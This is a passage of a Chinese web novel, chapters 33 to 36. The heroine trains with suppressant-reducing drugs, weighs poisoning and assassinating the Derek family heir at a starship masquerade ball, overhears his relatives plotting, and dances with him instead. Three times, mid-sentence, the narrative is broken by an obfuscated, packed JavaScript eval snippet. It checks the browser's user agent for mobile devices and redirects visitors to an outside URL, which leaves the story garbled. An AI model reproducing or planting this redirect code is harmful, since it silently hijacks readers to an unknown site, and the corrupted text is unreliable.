陆风沉默半晌,又把话题拐了回来:“所以,怎么把之前送给小沈的吊坠拿回来了?” 叶眠无所谓地说:“想拿就拿了呗,改天再送他一个别的。” 她试探着陆风的底线,展示出来的自我越来越多越来越真,而对方的容忍程度似乎也越来越高,这让她由衷地想送陆风和叶绵绵一句歌词。 ——“等不到的永远在骚动,被偏爱的都有恃无恐”。 而陆风,看着叶眠满不在乎的眼睛,心中有种荒唐的感觉。 叶绵绵像他手里的风筝,只要扯一扯,拽一拽,风筝就会逆着风,飞回他的手里。而现在面对叶眠,却像是风筝线断在云里,他手中留着一根线,却不知那头还拴着什么。 风筝,还是他的风筝吗? 33. 第 33 章 【晚宴前第七天】 叶眠并不在乎陆风到底拿了什么身份,她把沈舒白当陪练,紧急投入到了磨合药效的训练中。 她刻苦得毫不掩饰,沈舒白担心她这种把药当饭吃的做法会给身体造成太大压力。 他话说完,叶眠并没有第一时间给出反应。她指缝浮现冰条,手腕发力一甩,只听连续“笃笃”声后,那些冰条一齐扎进了沙袋。 沈舒白背后发凉,不知道是不是错觉,刚被某种杀意波及了一下。 那看似普通的冰条,实则是一把把无柄的小刀,叶眠给这一招起名为——小叶飞刀。 “别担心,你可以抽我的血验一验,”六把小刀就已经是极限,她走上前观察杀伤效果,眼神完全没落在沈舒白身上,“我的抗药性虽然不知道怎么练的,但防御强得离谱。” 沈舒白没懂:“什么?” 叶眠笑了笑:“你可以理解为,我五毒不侵。” 她从兜里拿出几个瓶瓶罐罐:“前阵子搞了几种药吃着玩,结果一点反应没有。” 沈舒白一脸“你在说什么”地接过来,翻了翻标签,心中大写三个字——好家伙! 沙砾7号,祛辐射的跃迁必备药物,副作用是24小时上吐下泻。 霓星SH,实时类抗生素,药效48h,持续期间服用者会眼白充血,部分人会流鼻血。 全位素稳定液,用于机体紧急补能,但会导致血管膨大组织肿胀。 他迷茫地问:“一点反应都没有?” “嗯哼,”叶眠挥挥手,冰刀加速溶解成水,“我挑这几种药,市面上买得到、副作用都不小,只要摄入量正常就一点反应没有。” 沈舒白捏着几个瓶子喃喃地说:“那还得给你加大药效了。” 叶眠点头:“下猛药就行。” 沈舒白犹豫了一下问:“你这么着急,是想干什么?” “法蒙约了我去参加德里克继承人的公开晚宴。”叶眠轻飘飘地说,余光关注着他的反应。 沈舒白从茫然到震惊:“法蒙?还是陆风?” “法蒙啊。”叶眠又想笑。 “法蒙?”沈舒白再次确认了一遍,“法蒙约你,德里克家族的晚宴?女伴吗?” “你也知道了吧,他是德里克家族那个继承人,”叶眠耸肩,“早说他背后有家族,你还不信。” 沈舒白抹了把脸:“我不知道。最近在给你造特效药,没怎么跟他联系。” 叶眠理亏:“噢,那你现在知道了。” 槽多无口,沈舒白甚至没想吐槽法蒙隐瞒身份的事情,纳闷地问:“他为什么不找下属?他找你?这种场合,女伴这个身份受到的关注太多了,你并不合适啊。” “两个解释,一,他不舍得下属冒险,”叶眠感觉自己异能恢复得差不多了,准备开始下一轮练习,“二,他喜欢我。” 沈舒白一脸便秘之色:“你,唉,算了。” 叶眠失笑,小叶飞刀再次出手,一回头就看他半崩不崩地抱着她的药,神思恍惚地走了。 他今天没问出来叶眠着急忙慌训练的目的,叶眠倒是记挂着给他发消息。 遇到困难睡大觉:“同事哥,我测体质的药瓶子们,拿走了记得给我报销噢~” 白干全白干:“。” 白干全白干:“还能再抠一点吗?” 叶眠乐不可支,抽了一支新的降低禁制环作用的药液给自己打上,反手一看,注射器上贴的标签,龙飞凤舞地写着三个字“减效药”。 小沈医生字真不错。叶眠想。 【晚宴前第六天】 “这是减效药3.0,大概能缩短三分钟起效,”沈舒白说,“三分钟不多,但把假醉的效果降低了。” “行。”叶眠把注射液推进手臂,深吸一口气。 手指微紧,大概十分钟后,她睁眼:“起效了。” 沈舒白也有点紧张:“能用几成异能?” 六把小叶飞刀出现,叶眠说:“跟昨天一样的。冰锥搞不出来,只能扔小刀。” 以叶眠的力度,扔飞刀杀个没什么战斗能力的普通人很轻松,但她明显不满意。 “陆风给你设置的任务目标吗?”沈舒白问,“还是你自己想杀?” “陆风不知道咱俩偷偷搞在一起,我在他心里还是个带着环的弃子呢。”叶眠说。 沈舒白眼皮一跳:“什么叫搞在一起。” 叶眠飞刀一扔,说:“差点忘了,我这个女伴不能给法蒙丢人,那法蒙的下属,阿不,同袍,沈医生当然有责任参与训练。” 沈舒白瞪眼:“我?我干什么?跳舞?” “嗯哼,这里又没别人。” 因为担心陆风去训练场逮自己,叶眠在沈舒白的研究室专门圈了一块地,这里是整个基地里为数不多没有陆风监控的地方。 沈舒白还愣着,叶眠已经攥住他的手放到自己腰间。隔着一层医疗,手指;接触的细腻热度从表皮一路渗进大脑,沈舒白仿佛受到什么刺激一样略微站直了一点。 “这不合适。”轻若蚊蝇。 他略微低头,看叶眠垂着眼睛专心回忆舞蹈动作,嘴里已经开始轻轻地打拍子,明显视他负隅顽抗为无物。 既然对方不接话,他也不好再说什么,只能自我安慰:我是沙包,我是道具,我是陪训,这很正常。 小沈医生动作硬梆梆的,身体也硬梆梆的,交握的手指骨头硌人,但另一只手却只礼貌地悬着,除了她把人扯过来的那一下,根本没碰到她。 啧,正人君子。 “这不就搞在一起了?”叶眠轻笑一声,只看沈舒白半边耳朵发红,眼神里充满了无奈和控诉。 一舞毕,他逃也似地抱着空注射器走了。 【晚宴前第五天】 因为她的要求,沈舒白放下了异能抵抗药,全身心地投入到了“能瞒着姐姐实验室解放抵消禁制环效果”的减效药研制的过程中。 长期异能抵抗——冰冻三尺,非一日之寒。 禁制环减效药——箭在弦上,不得不发。 沈舒白拿着减效药5.0不撒手,在他锲而不舍地追问下,叶眠终于透露了一点。 “我要杀德里克家族的人,”她一边给自己扎针一边说,“如果要杀的是法蒙,你还会帮我吗?” 沈舒白沉默了一会儿,口吻客观地说:“不是我帮不帮你,而是你能不能做掉他的问题。” “他异能是非常稳定扎实的A级,金属控制。发现你异常的第一时间,只要手指一钩,”他指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224764|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了指叶眠的脖子,“那个东西就能立刻变成实心的,把你脑袋切下来。” “他太强了,所以我没想杀他,”叶眠装模作样地叹了口气,“跟德里克家族的人有点旧仇。” “你最好不是,”沈舒白捏了捏眉心,“别让我给你收尸。” “我的命是沈医生救的,自然是沈医生说的算,”叶眠扭着上前半步,纤纤手指点到沈舒白领口的扣子,“让沈医生担心了~” “假醉的效果要想办法消掉,”沈舒白认真记录,“你这个状态实在是太危险了。” 此人看似心如止水,实际上几笔之后就僵在原地,不知道该怎么做了。叶眠就那么含笑地看着他,看的他耳尖发红,欲言又止,最后终端一扔,跑了。 跑能跑哪去?这里一共就这么大点。 叶眠看他躲进卧室甚至锁了门,“桀桀桀”笑得像个反派。 【晚宴前第四天】 陆风问她最近在干嘛,叶眠说在找小沈练异能。 “为什么?” 叶眠对他倒是没什么保留,毕竟法蒙是敌对势力,她卖个乖也是顺手:“我想杀法蒙。” ——然后获得自由。 “为什么这么着急?” 叶眠靠在床头,比趴着的陆风略高一些,她顺手抓了抓他的狗头,干燥的发丝从指缝划过。 “我看他不爽。”她温柔地说。 ——快给我过度解读!我是为了你涉险的!不要怀疑!就是这样! 陆风不知道中了什么邪,竟然乖顺地蹭了蹭她的手,然后僵住,四目相对,寂静无言。 叶眠:…… 陆风:…… 陆风果断翻身扯起被子:“睡觉。” 叶眠……感觉自己实在是很有一套。 【晚宴前第三天】 沈舒白的胡茬都冒出来了,有气无力地给她两管药:“7.1和7.2,你试试哪个效果更好?” “有什么区别?”叶眠睡得神清气爽,梦里摸了几把男人肌肉,像是吸了精气一样状态正好。 “你之前说,吃药副作用都很轻微,所以这两版我放任了有效成分冲突,正面药效会更好,但副作用也会更大。” 叶眠眨眨眼,沈舒白又补充:“不是假醉。” 他犹豫了一下,又拿出两瓶撕了标签的粉末。 “要杀就做干净点,溶尸粉和迷药,嗯,就是你想的那种东西,”他把两个瓶子放到叶眠手中,“异能者犯罪逃脱率确实大,但你上次杀人就被抓了,最好还是小心点。” 叶眠看这瓶子眼熟,问:“这不是沙砾和霓星吗?” “对啊,我直接用你的瓶子装了,”沈舒白说,“市面上不卖这些,黑市又太危险,我干脆自己配了点。” 叶眠比了个大拇指:“小沈医生,神。” 7.1下肚,叶眠开始流鼻涕。 7.2下肚,叶眠扔了十二柄飞刀,然后小拇指抽了半个小时。 她问沈舒白:“你一开始的设计(擤鼻子)就是,是这样的吗?” 沈舒白觉得她有点惨,但又有些好笑,最后还是没忍住,别过脸清了清嗓子才说:“7.1正常人用,大概会流眼泪流口水流鼻涕,7.2的话是全身痉挛,你,哈哈哈哈哈。” 34. 第 34 章 陆风并不知道叶眠也要去继承礼晚宴,当天早上出门的时候,还跟赖床的人说了声今天可能回来很晚。 叶眠幽幽地探出半个脑袋:“你昨晚是不是钻我被窝了。” 陆风若无其事地转身就走,叶眠在后面控诉:“睡得太热了!你绝对钻我被窝了!” 陆指挥心情很好地离开了基地,浑然不知晚上会受到怎样的冲击。 叶眠中午上了刘仁的车,随身携带的小包里装着她的减效药。 “刘先生,晚宴是在德里克的府邸上进行吗?”她问。 “不是的,”刘仁顿了顿,觉得透露一些也无妨,公事公办地解释,“为了防止特殊情况出现,继承礼是在德里克控制的星舰结构上进行。” 空中游艇,懂了。 叶眠收声,手指摩挲着针管,心想那可得提前规划好暗杀结束的逃跑路线。 下午的行程安排很紧,礼服还要微调,假发到位得晚了点,于是几个设计师一边比量着她的数据,一边对着头皮的青茬长吁短叹。 墨绿色的裙子像是山涧深潭,在灯下反射出星芒般的亮光。裙撑不算大,但与收腰的流线连接顺畅,衬得人高挑而冷淡。 叶眠站在镜子前,一回头就对上几位设计师满意的眼神,她冷静地吸了口气:“腰有点紧,中午吃多了。” 一句话打碎美女滤镜,叶眠:我是专业的。 假面搭配的孔雀翎,她特意强调:“挂绳一定要紧一点,最好有激烈动作也不会掉的那种。” 设计师不敢问是什么激烈动作,只是看起来更长吁短叹了几分。 假发是黑到看不出绿的长发,发型师看她脑壳形状圆润,紧紧地挽了个低丸子,因为听说了她对假面的要求,特意邀功:“保证你打架头型都不会乱的,女士。” 叶眠头皮发痛,眉梢眼角都被扯着向后,几乎做不出什么大表情:“谢谢你啊。” 刘仁来接她的时候也是露出一些惊艳之色:“墨绿色很称叶小姐。” 叶眠绷着脸:“其实我觉得荧光绿更衬。” 刘仁不敢说话了,只专心开车,前往德里克的私人航空港。 路上,叶眠拆出腿环,一根一根把注射器塞了进去。 刘仁没看到,只在下车时提醒她:“包不能带,会有安检。” 叶眠幽幽地说:“好,但是我带着禁制环,是不是得把头也砍下来?” 刘仁觉得,叶眠有时候说的话他实在接不上。 * 叶眠端住了美丽废物的气场,跟着刘仁从私人通道来到空港的休息室。 “一会儿会有人来接你,”刘仁看了眼时间,“我还要回去加班,就不陪叶小姐等了。” 叶眠依然绷着脸:“辛苦。” 她半低着头,百般无赖地玩着黑绿假面等了十几分钟,突然听到了法蒙的声音:“抬头,我看看。” “哟,典狱长亲自来接我,”叶眠掀起眼皮,看向一身同样墨绿正装的法蒙,“受宠若惊啊。” 在深绿的衣料和发色衬托下,叶眠露在外面的肩膀与脖颈几乎白到发光。她仰着一张素白的脸,唇色却是一抹浓重惊人的深红,仿佛纸上的一道血痕,艳丽夺目。 法蒙眼神深得仿佛要吃人,叶眠几乎以为他要夸赞一下她的盛世美颜了,却听他用那副低沉的嗓子,克制地说:“红配绿能搭成这样,难为他们了。” 叶眠想翻白眼,被兜头的外套裹住。 西装三件套的上衣到了她身上,法蒙只穿马甲衬衣,宽肩窄腰,身姿依然挺拔。 叶眠眨眼,在心里感慨人和人就是不一样,有些人穿马甲像侍应生,但有些人一看就不是服务别人的料。 法蒙也不知道自己心脏为什么跳成这个鬼样子,他面不改色地伸出手让叶眠挽住:“走吧。你跟着我,不用过安检。” 叶眠从短暂的色迷心窍中挣脱出来,眉眼弯弯,一只手拿着那张假面,一只手搭上他的臂弯。 坐小型飞艇上星舰的路上,叶眠饶有兴趣地站在窗前,肩上披着法蒙的衣服。 法蒙站在她半步身后,没有收敛自己仿佛要把人拆吞入腹的目光。 “如芒刺背啊,典狱长。”她偏过头,笑他。 法蒙眯了眯眼睛,呼出一口气:“等反抗军倒台,来给我做事吧。” 只是做事吗?叶眠的眼神与他一触即离,不知是谁偏开视线,是谁心跳加快。 “星舰武器都拆除了,防卫队的星船会在附近巡逻,”法蒙沉声说,似乎并不理解这些话有多煞风景,“没有接到反抗军有动作的通知,但如果在这里逮到陆风,我不会让他轻易逃走。” 叶眠心跳慢了半拍。 “嗯……”她在法蒙冷然的视线中沉吟半晌,“行,需要我怎么配合吗?” 法蒙要杀陆风怎么办? 又不是杀她,她还得怎么办?上三炷香吗? 法蒙贴近半步,低着头看她:“这次不给他打掩护了?” 叶眠笑说:“权宜之计罢了,典狱长还吃他的飞醋吗?” 不知道哪个字戳到了他的肺管子,法蒙表情晦暗地退回到沙发上。 “到时候我要跟你跳第一支舞,不要让我找不着女伴。” 他不再隐瞒自己继承人的身份,双腿交叠,抛弃了作为军人的纪律性,反而显露出一种随意的野性。 “嗯。”叶眠心想这腿真长啊,别开眼睛看向舷窗外。 一上星舰,两人就带起了假面,法蒙低声说:“你自己四处转转,记得,八点要到穹顶大厅。” 叶眠伸手给他紧了紧假面系带,认真地说:“既然决定是假面舞会,就保护好你的面具。” 法蒙沉沉地笑了一声,推她一把,若有所指地说:“你的权限跟我持平,哪里都能进,去玩吧。” 这并不是一场特别正式的舞会,流程定得很随性,也不要求大家都把脸遮得严严实实。 巨大的战争机器被改装成娱乐场所,宽阔的甲板上有各种花里胡哨的投影,以及服务生的餐车。 ……餐车? 叶眠挪不动腿了:来都来了。 等她真拿上纸杯蛋糕了,却又有些投鼠忌器起来。 叶眠愁容满面地想,这裙子腰太紧,她饿了一下午才舒服点,要是吃进肚子,万一给撑裂了怎么办? 孔雀一样华丽美好的女人捧着纸杯蛋糕的模样,落在有心人眼里就成了西子捂心一般的场景。 李东垣看得差点痴了,却听调酒的侍应生问:“先生,你的花花公子。” “哦,再调一杯SexontheBeach,”李东垣舔了舔嘴唇,“弄漂亮点,甜一点,我要送给那边的美女。” “那边的美女”叹了口气,心想我得吃一口,歇会儿,再吃一口,再歇会儿。 李东垣端着酒杯过来了,叶眠刚吃下一口蛋糕,还在细细品味丝滑奶油与绵软戚风。 甲板的侍应生穿着统一的蓝色马甲,带着蓝色的半脸面具,叶眠全当他是游走的侍应生,在李东垣开口前,亲切地说:“我不喝,谢谢,辛苦了。” 李东垣脑子还没转过来,就听叶眠继续说:“今晚挺累的吧?我帮你挡着,性感沙滩就当请你喝了。” 李东垣总算是理解了,他面色一沉,叶眠却已经尽职尽责地当起了遮挡物:“快喝啊。” 她眼疾手快地拿起花花公子浅尝一口,露出个难以忍受的表情:“酒感太重,唉,不如小甜水。” 李东垣瞠目结舌,扭头看向调酒师的小车,却见那边已经站了两圈人,再去点恐怕要耽误不少时间。 他低头看了看自己蓝色的马甲和臂弯里的西装,在美女“好心”的注视下,忍气吞声地喝下了那杯齁甜的粉色小甜水。 等他喝完,叶眠还贴心地从旁边抽了个托盘,把只喝了一口的矮方杯放上,然后一起递给他:“送回去吧,用托盘好拿一些。” 她施施然走了,李东垣却差点气炸了。 这个死女人,绝对知道他不是服务生,故意折辱人! 孔雀女是吧,他满心阴邪地想,我记住你了。 叶眠进了塔楼,顺手拿了一杯威士忌纯饮装样子。 她走到三楼的外平台,垂着眼看下面明显余怒未消的男人,心道:唉,好心被当驴肝肺,不是爱小甜水儿吗?多喝点啊。 星舰的塔楼大得惊人。一层是穹顶大厅也是舞厅,二层是餐厅,三层是休息室,四层是私人会客厅。 三层的走廊九曲十八弯,叶眠绕了两圈,心中稍微有数。会客厅分内外两间,十几个德里克都在,反而是三层这一间一间的休息室好操作些。 她看了眼手里的威士忌,开始思考下药让法蒙喝下去的可能性。 他会信任自己到这个程度吗? ——可以自己先喝一口,搞点情趣。 在他出手前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224765|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我有把握将他秒杀吗? ——有风险,但值得一试。 出手后,多久会被保卫人员发现? ——我大概率会受伤,最好主动报警。 用什么口供? ——有杀手翻窗跑了,而我异能被锁,绝对无害。 星舰会不会更改航线? ——可能会,可能不会。不重要。 逃生靠什么? ——混入疏散人群。 叶眠慢条斯理地想着,又溜回了四楼。 她决定跳舞后动手。 刚刚还在的几个德里克送法蒙去了,叶眠大摇大摆地走进了内会客厅。 四层的外平台挂了锁,她在甲板上就看中了这个平台,从上往下视野很好,人工种植的作物也适合躲藏。 叶眠站到平台玻璃门口,掀起裙子,给自己打了一针。静等几分钟后,她单手握锁,用了一式她刚练到半成的异能。 “绝对零度。”她轻声念出了技能名字。 闭锁系统嵌在门里且24h联网,外显的认证部分只有巴掌大,她没法一口气把整个系统搞坏。 缜密的电子锁在无孔不入的低温中,内在一线悄然改变了颜色——叶眠不需要他整个掉下来,她只需要门锁关节零件掉链子。 “咔嚓。” 轻不可闻的一声传进叶眠耳朵,她勾起唇角,心中一哂:这招梦里练过很多次,但没敢在沈医生眼前用,因为杀伤有点惊人,没想到现实一次就成功了。 下一秒,异能透支的虚脱和神经刺痛一齐涌上,叶眠脸色一变,满脑子[*星际粗口*]。 现实中异能透支怎么这么恐怖! 她撑着最后一口气推开玻璃门躲进外平台,把门严丝合缝地关上后,有段时间完全失去了意识,颓靡地倒在地上。 重新醒来的时候,眼前所有东西都像蒙上了一层黄色滤镜,她揉了揉眼睛,还是看不清楚。 叶眠镇定地想:有点像低血糖。 看了眼时间,其实只过去几十秒,但她感觉自己像是死了一回一样。 好恐怖,叶眠在心中咋舌,还好没摔到。 她理了理裙摆,从腿环上解下窃听器听筒,顶着满眼通黄的视野,淡定地开始偷听里面的脚步和说话声。 “都走了?” “嗯。” “真是条养不熟的狗!” “消消气,好歹答应了回来做事。” “你听他放的狗屁了吗?他要先整改那个破监狱!我让他当典狱长是为了让他当典狱长的吗!” 叶眠想笑,无奈地摇了摇头。 “早晚做完的,现在所有人都知道德里克后继有人,他去做那些吃力不讨好的事情,又不跟参军有我们撑腰一样,很快就会知错了。” “唉,倒也是。” 一阵杯具相碰的清脆声音,然后是液体流淌的哗啦声,两位老人的声音听起来安然了不少。 “你知道汤姆森手下不太干净吧?” “不止知道,我还听说他准备对法蒙下手。” “也是个猪脑子,”老年男性的声音一停,他叹了口气,“用什么计策不好,他要给法蒙送女人,怕自己死得不够快吗。” 叶眠眼睛眯了一下,伸手拔了一根茎杆螺旋状的草。 “不止他,另外两个也在蠢蠢欲动。我倒是想看看,他们哪个能杀了法蒙。” “你不会真想……” “难道你不想吗?杀了他,就能直接回收安娜和艾文的旧部,那三个孩子,有你的亲孙子,我的亲孙女。旧部的势力给谁不好,他身在革命党,想要扭转他的心,不如直接夺他的权。” “……” “反正有安娜和艾文在先,我们也不是第一次做了。” 短暂迟疑后,老年男性问:“还能跟反抗军联系上吗?” 叶眠按捺住叼起那根怪草咬出汁子的冲动,心想今天是真听到了不得了的东西。 “不过,陆峰已经死了,他儿子能跟我们合作吗?” 叶眠听到这句,一愣,终于放下了她的草。 她有个新想法:与其杀了法蒙让这两个顽固派的老东西高兴,还不如让法蒙活着,漏点风声出来,看他们三方角逐。 制衡虽险,但可以小博大。 “唉,等明天吧。” 叶眠看了眼时间,快到八点半了,她得去跟那个倒霉孩子跳舞了。 35. 第 35 章 倒霉孩子·法蒙站在主席台下,看着两位爷奶辈的老德里克搀扶着走到台前,开始了他们冗长而无趣的演讲。 德里克百年兴衰,但那些,其实跟现人没有半个星币的关系。 舷窗外是墨蓝色的星空,法蒙看了一会儿,转回头来开始寻找那个墨绿色的女人。 等老爷子讲完,就轮到他致辞,他的致辞很短,讲完就要开第一支舞。 ——他没看到叶眠。 “有请德里克先生上台致辞。” 虽然没有指出具体名,但显然,所有人都明白这才是今晚的正题。涣散的注意力被抓回,他们交头接耳、四处张望,试图找出哪一位隐藏在他们中的人会上台领下这个名头。 法蒙稳稳地抬腿,走上了白色的旋转台阶。 他身高腿长,不论从哪个方向看都是一等一的人物,线条锋利的下巴露在假面之外,眼睛的形状被严丝合缝地卡死,假面贴紧发丝,平添几份神秘。 “我会把德里克带到一个更高更好的位置。” 是的,他只准备了一句话。 在晚宴开始前,他看着毫无心事的叶眠,把那些捣乱、败兴的话都收了起来,只剩这么一句。 因为他意识到,自己想跟叶眠顺利地跳下来一支舞,用这种半公开的方式,向所有人展示。 他说完就偏头,看向后面的大伯父。 卡门皱了皱眉头,一拍手,乐队简单对弦,随后奏起了音乐。这是多年前一位德里克音乐家写的舞曲,用在家族的舞会开场,也是刻意用心。 “去吧,由你来开第一支舞。”卡门尽量保持和蔼地说。 法蒙目光慢慢扫过台下形形色色的人,心中有些躁郁。 他好不容易决定乖顺一把,今天没有任何发作和忤逆,但到了这个环节叶眠却不在,而要他随便指一名女性跳舞,又太违背本心。 法蒙刚准备开口,这时,舞厅大门突然被一只素手推开。 几乎有一半的人都转过头去,然后他们就看到了那个带着孔雀面具的女人。 跟几小时前分开的时候没什么变化,法蒙的视线遥远而紧迫,但叶眠大方地推门而入,仿佛完全没有时间观念,也不知道她让整个首都星站位最高的那些人硬生等了半分钟。 法蒙唇角微动。 “希望我没有来晚,”叶眠提着裙摆,优雅地向法蒙走来,声音清亮,与平常略有不同,“德里克先生。” “不,你来得刚刚好。” 法蒙走下高台,微微俯首,抬起她的一只手,虚虚一贴,然后双手交握,另一只手揽住她的腰,不引人注意地微微用力。 叶眠顺从地往前,垂首,跟着法蒙踩进了舞步的第一拍。 人群里的李东垣木了。 孔雀女? 德里克继承人的舞伴? 这一刻,她的所有行为一下子有了新的解释——她的高傲,她的玩笑,她的意有所指,她的点到为止。 冷汗悄悄泅湿了后背。 李东垣不敢再看,他藏起自己惊骇的视线,假装无事发生地往人群里躲去。 卡门·德里克站在台上,他用的俯视视角,评判审阅的眼神混在好奇的众人之间,其他人看的是他们两个,他眼里却只有那个奇怪的女人。 ——他今晚在上四楼的时候碰到过她。 进入特殊电梯必须要特殊权限,也就是说,法蒙给她分享了跟自己平齐的权限。 那么下一个问题,她是谁? 不止卡门,在场有不少男男女女心里都有这个疑问,一个神秘的继承人,出场却指明了一位女伴,大概相当于公开他的私人关系,如果过度解读,甚至可以理解为联姻已定,合作在即之类的信号。 人群中,有两位比较特殊。 陆风在看到她推门而入的时候就怔住了,舞曲进行到一半,他依然觉得不可置信。有一瞬间他想拿出终端,确认一下叶眠有没有老实地呆在基地,但身后就是值岗的服务生——实际上是德里克的警卫人员——他不能暴露。 他不解,然后回想起这几日叶眠的言行举止,感受到一种后置的、被欺瞒的怒火。 她为什么不说? 她为什么会认识法蒙? 法蒙为什么会选她作为自己的舞伴,在这种场合、用那种眼神,跟她跳第一支舞?! 有一瞬间,陆风手指一动,几乎要直接动用异能。 但是,不行。 这个身份算是他所有手牌里藏得最深的一个,名义上还有妻儿,手下更是联通着人际暗网,那些都是反抗军情报部门的探子,但一发而动全身,他不能轻举妄动。 所以,就只能这么看着吗? 看着他们相拥,看叶眠沉浸地微笑,看他们穿着那仿佛情侣装的礼服,在所有人眼前共舞。 陆风咬死了后牙,几乎尝到血腥味。 是的,他只能这么看着。 眼里烧着不会被轻易盖灭的火,他想:我等着。 另一位,则是仗着亡父余威受到邀请的蒋钰。 他对跳舞不感兴趣,对德里克继承人也不感兴趣,其实本来就没想来这场活动,只是老管家苦苦劝他,说他要撑起蒋仕临的场子, 周围人都站着,只有他坐着,那一身优雅贵气,比起诸人只高不低。 蒋钰戴的是一件由暗色宝石拼接成的独眼面具,一只眼睛露在外面,张扬到只要认识这个人,就不会认不出他。一晚上有不少人过来与他攀谈,他厌倦这种应酬,只觉得一个个都不长眼,看不出他的火气。 现在他手里拿了杯酒,有一搭没一搭地品着,本来想着熬到第一支舞结束就离开,但所有的从容都在那个女人出现时,裂开了一道缝隙。 熟悉。 非常熟悉。 致命的熟悉。 咽下最后一口酒,酒杯无声地落到桌子上。 他想起来了,是他的妻子,那位应该在C监服刑的女囚徒。 好看的眼睛里闪过一丝犹疑,让那张焊在脸上的温文面具有一瞬消失,显出几分阴鸷之色。他转动着手指上的戒圈,开始回忆上次听说那人的消息是什么时候。 好像已经是十几二十多天前了。 他以为她已经死了。 朝夕相处两年,蒋钰自认为已经很熟悉叶绵绵的身形和性格,这位小姐嫁入他们家一天福没享过,地位跟家里的女仆差不多,性格懦弱到被当狗使唤也没什么怨言,除了对蒋仕临的拼死一击…… 蒋钰的脸色越来越难看,漂亮的嘴唇被抿成直线。 此时此刻,他并没有100%确认,在灯光和目光聚焦下翩翩起舞的那个女人就是叶绵绵。但只要是这么想一想,他就感觉心里仿佛有万蚁啮咬——她只配跪在他脚下低眉顺眼地做事,怎么敢、怎么能到这种地方,甚至跟德里克的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶眠说:“我不太理解,法蒙先生。” 她的口红被他蹭到了外面,似乎有些狼狈,可实际上她可比他冷静太多太多。 叶眠微微用力把人推开,带着一点惶恐的语气说:“我以为我们是合作关系,你帮我离开C监,我帮你传递反抗军内部的消息,但这个吻,先生,你把我当成什么了?” “今天有很多人看到你,叶眠,”法蒙的眼睛仿佛照不进光的黑洞,“等今天结束之后,很多人会来查你的身份。” 有面具遮挡,叶眠就靠想象补全他的上半张脸:眉头压着,像是坠着石头、要把人拽进无底的深渊,眉心浅浅的竖纹,负隅顽抗地保持着冷硬的上位者姿态…… 法蒙深深地吸了一口气,仿佛一场自己跟自己的无形斗争终于落到结局。 “我在考虑我对你的欣赏,或许不止合作,不止上下级,而是更进一步的,更深刻的,”他语气微微发干,但又有种隐秘到连自己都没察觉的期冀,“对我来说,非常罕见的。” 叶眠心里几乎要笑出声,她甚至想:你知道我本来准备在这里对你做什么吗? 下药和暗杀,法蒙,你真该庆幸。 而表面上,叶眠眨着眼睛,十分茫然地问:“那是什么呢?” 告诉我,是什么呢? 36. 第 36 章 法蒙在部队里曾经有一位战友,他说自己有未婚妻,等他退伍就结婚,还满脸幸福地跟他们说,他跟未婚妻一见钟情,两人是生理性喜欢。 法蒙不理解。他觉得所谓生理性喜欢无非是激素作用,难听点说就是精虫上脑,有自制力的人不可能会被这种状态控制。 战友知道他脾性,不跟他争,只是一脸坠入回忆的表情:“你没遇到过,不会懂的。我爱她的全部,她不用香水我也觉得她像个香软小蛋糕,只要我们呆在一起就会想拥抱亲吻,各种意义上都很合得来,包括身体,你懂吗?她美好得就像天使,我们之间是百分百的契合。” 后来,战友死在帝国跟联盟的交战前线。 葬礼上,法蒙见到了那位身穿黑群的未婚妻,苍白、寡淡,身材矮小,丝毫不引人注目。 六个月后,她就跟另一个人结婚了,战友的死亡似乎并没有给她的人生蒙上什么阴霾,因此法蒙认定,“生理性喜欢”,那不过是爱情给人的幻想。 然后,他遇到了叶眠。 直到今天法蒙才后知后觉地理解,他跟叶眠的每次接触,似乎都在加深一些东西,而那些隐秘的感情和冲动如同一层一层累加叠成的蛛网,无声无息地逼近,终于把他紧紧黏住,再也不能脱身。 什么卧底,什么下属? 他想要她成为他的。 只是他的。 叶眠很想听法蒙自己承认,她觉得,等到他肯承认内心的那一天,就是她可以随便拿捏这个男人的那一天。 他的自尊、他的手段、他的势力、他的钱……不过这些都是附带的,她从没忘过自己最想要的东西——她的自由。 相比起蓄谋已久的暗杀,这种结局似乎更好看一些。 法蒙看着她的眼睛,没有第一时间说话。他伸手摸了摸她的头发,稍微压下心中的狼狈和汹涌澎湃的意图。 他开口,没有正面回答:“我只是有点后悔了。” 后悔什么? 叶眠奇迹般地理解了他的意思——后悔让自己回到陆风身边卧底。 叶眠继续装傻,迟疑地说:“抱歉,我还是不太理解。” 他在进门的时候拽下了她的面具,自己却依然藏在假面之后。眼下他把她的面具扣回脸上:“不需要理解,你只要知道,最晚到反抗军换届,你就可以离开陆风了。” “你想杀他吗?”法蒙的手落在她手臂上,带着一点热度,两人距离依然近到出格,他放任自己行动,跟她隔着面具,额头相贴。 “我觉得这样不合适,法蒙。”叶眠轻轻地叫了他的名字,伸手去勾他的面具系带,被他一把抓住手腕。 